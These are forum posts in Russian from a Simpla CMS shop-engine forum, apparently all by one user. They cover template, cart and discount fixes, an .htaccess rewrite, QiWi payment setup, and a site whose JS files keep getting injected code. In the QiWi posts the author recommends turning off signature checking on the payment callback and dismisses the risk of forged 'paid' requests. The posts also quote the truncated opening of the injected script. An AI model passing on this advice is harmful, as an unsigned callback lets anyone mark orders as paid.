Glauder

Всем спасибо, проблема решена, нашел свой косяк, тему можно закрыть!

В файле order.tpl в самом конце есть вывод кнопки оплатить: {checkout_form order_id=$order->id module=$payment_method->module} добавим сюда условие проверки статуса заказа на "Принят" {if $order->status == 0} Админ проверит Ваш заказ и только тогда Вы сможете его оплатить (распечатать квитанцию) {else} Ваш заказ проверил админ, можете его оплатить (распечатать квитанцию) {checkout_form order_id=$order->id module=$payment_method->module} {/if} Проверяйте, по идее должно работать.

Это да, на официальном я проверял, там нет такой проблемы. Но вот у меня даже на стандартном шаблоне вылезает данный косяк, может в каком либо скрипте есть ограничения, никто не сталкивался?

А в базе в таблице s_orders добавляли какие-нибудь поля имеющие отношение к стоимости заказа? Если не трудно посмотрите пожалуйста или напишите все поля данной таблицы!

Если добавить в корзину больше 7-8 наименований из РАЗНЫХ категорий, то в случайном порядке могут пропасть наименования некоторых добавленных позиций, причем название варианта отображается, если начинать добавлять или удалять товары, то эти исчезновения наименований могут в случайном порядке поменяться. Версия 2.1.5 на стандартном шаблоне.

Беда вся в том, что в API я посчитал все правильно, как задумывал, а вот значение $cart->total_price в базу записалось не то, которое передалось и показалось в корзине. Логику Ваших расчетов понять можно, тем более что комменты Вы не поленились написать! Может где-то еще кроется засада?

Мне тоже необходима помощь в данной доработке! В Симпле скидка пользователя считается таким образом: сначала складываются все товары в корзине и полученная сумма умножается на скидку пользователя. Исходя из этого начал пробовать решать данную проблему правильного расчета скидок на "акционные" товары. 1. Как выделить "акционные" товары от остальных? Мое решение: добавить в поле "Артикул" слово "sale". Ну все эти товары добавил в отдельную категорию "Акции и скидки". 2. При расчете общей стоимости корзины $cart->total_price в файле api/Cart.php надо разделить товары на "акционные" и обычные и

на 2.1.5 не канает не срабатывает условие {if $order->purchases}

Так собственно 100 вечно деревянных!

Где развод??? Бесплатное решение доступно каждому и кому надо, тот его и использовал, а мое для тех, кто не хочет вникать или не может. Я помогаю своим клиентам и все объясняю при надобности. Ссылка - реферальная и дает скидку 10% клиенту и мне копеечка капает, цена обоснована - от 22 копеек и будет 7 при условии выполнения объема (читайте подробнее условия на сайте). А 100 руб. это не деньги, делаю это просто из того, что хочу помочь, когда есть время... на хлеб хватает, не переживайте. Считаю, что за большинство доработок здесь просят многовато денег с учетом того, что при правильном поиске

Полагаю, что в корневом, там все переадресации написаны.

Может быть вариант с файлом .htaccess ? Добавить директиву... RewriteRule ^payment/Webmoney/callback.php?$ payment/webmoney/callback.php [L,QSA] За синтаксис не ручаюсь, проверяйте сами или спецы поправят, думаю смысл ясен. Больше идей пока в голову не идет...

ну или если есть желание , может этот вариант будет самый легкий...

Проблема заглавных букв происходит от ОС хостинга, для Unix хостинга имеет значение регистр букв в названии файлов, т.е. Webmoney.php и webmoney.php - это разные файлы и могут лежать в одной папке, в виндовом хостинге - это один и тот же файл и в одну папку не засунешь. По идее надо было программировать движок с маленькими буквами для всех файлов (камень в огород разработчика). Как решить: 1. Если есть возможность - сменить хостинг на виндовый, у многих провайдеров бывает такое дело. 2. Переименовывать зависимые файлы в маленькие буквы и везде в файлах, где о них упоминается в содержании. 3. О

Вопрос не о ручном исправлении статуса, мне не сложно это делать, вопрос в том, что клиент оплатил, вернулся на сайт магазина и видит, что его заказ всё ещё не оплачен, впадает в ступор, начинает звонить (это в лучшем случае), лояльность падает. В любом случае отдавать на автомат оплату без проверки как минимум не разумно, в любых системах. Помочь Вы можете всем, кто пользуются QiWi для приема платежей на своих сайтах, проблема осталась одна: после оплаты успешной или не успешной покупателя кидает на http://www.mysite.ru/order?order=xx где хх - номер заказа (в десятичном виде), естественно дан

А Вы лучше помогли бы в решении проблемы, умничать тут все горазды! Галочку убрал потому как разработчик так сделал, что с ней не работает изменение статуса оплаты заказа. Критического ничего не вижу, там без неё используется простая подпись. Один хрен все равно проверяешь, поступили деньги на счет или нет, приходит письмо от платежной системы о поступлении денег, приходит смс... или Вы действительно думаете, что кто-то будет/сможет подделать запрос к сайту и изменит статус какого либо счета на оплачен? И даже если так случится, что это изменит? Кому это надо?

В способе оплаты QiWi в папке payment/Qiwi/ лежит файл example.png, надо сделать точно такие же настройки, по умолчанию там стоит галочка "использовать подпись" - её надо убрать, после это статус заказа стал меняться на "оплачен". Осталась маленькая проблемка с возвращением покупателя в заказ, ссылка http://www.mysite.ru/order?order=xx не правильная, как её сгенерировать корректно?

После настройки прлатежей QiWi как рекомендовал Денис, не работает изменение статуса счета на "ОПЛАЧЕН", также после платежа пользователь переводится на страницу http://www.mysite.ru/order?order=xx где хх - номер заказа (в десятичном виде), при этом сайт выдаёт ошибку "Страница не найдена".

Сегодня пришло письмо от тех.поддержки Qiwi: Вот такие пироги с котятами! P.S.: Необходимо эту тему перенести в "Ошибки".

Все так и сделано, но как и сказал calvin: Почему статус у заказа не меняется на оплаченный и соответственно товары не списываются? Видимо в callback.php есть ошибки или в SOAP Qiwi что-то изменилось, прошу автора исправить данную ситуацию, уж очень хочется автоматизации на сайте и спокойствия клиентов. Спасибо!

А если сделать сайт для пиццерии или ресторана с доставкой, есть ли смысл делать приложение для мобильных устройств при 30-50 заказов в день? Возможно на сайте со временем будет объединено насколько пиццерий и/или ресторанов...

Я тоже так и подумал, прошерстил все файлы, сделал сравнение содержимого с чистыми исходниками симплы, ничего не нашлось. После смены пароля на ssh и чистки файлов - 12 часов тишина. Пароль не светил, заходил только со своего компа и то очень редко. Всем спасибо за идеи!

сменил, не помогло. мастерхост, кстати, проблема расширилась на всю площадку с тремя сайтами, движки везде разные, также еще на одной площадке с тремя сайтами такая же проблема, на других площадках все хорошо.

Поставил 444, минут через 10 опять в файлы добавился левый код, а права стали 644

Помогите пожалуйста решить проблему! Почти во всех js файлах в начале добавляется вот такой код. Почистил везде, минут через 10 - 15, снова появляется, причем даты у файлов меняются на более ранние. Выставлял права на файлы 644, не помогло. Гугл ищет другие сайты с подобным кодом, но уже в html. Может ли это быть проблема хостера? /*214afaae*/(function(){ function stripos (f_haystack, f_needle, f_offset) { var haystack = (f_haystack + '').toLowerCase(); var needle = (f_needle + '').toLowerCase(); var index = 0; if ((index = haystack.indexOf(needle, f_offset)) !== -1) { return index; }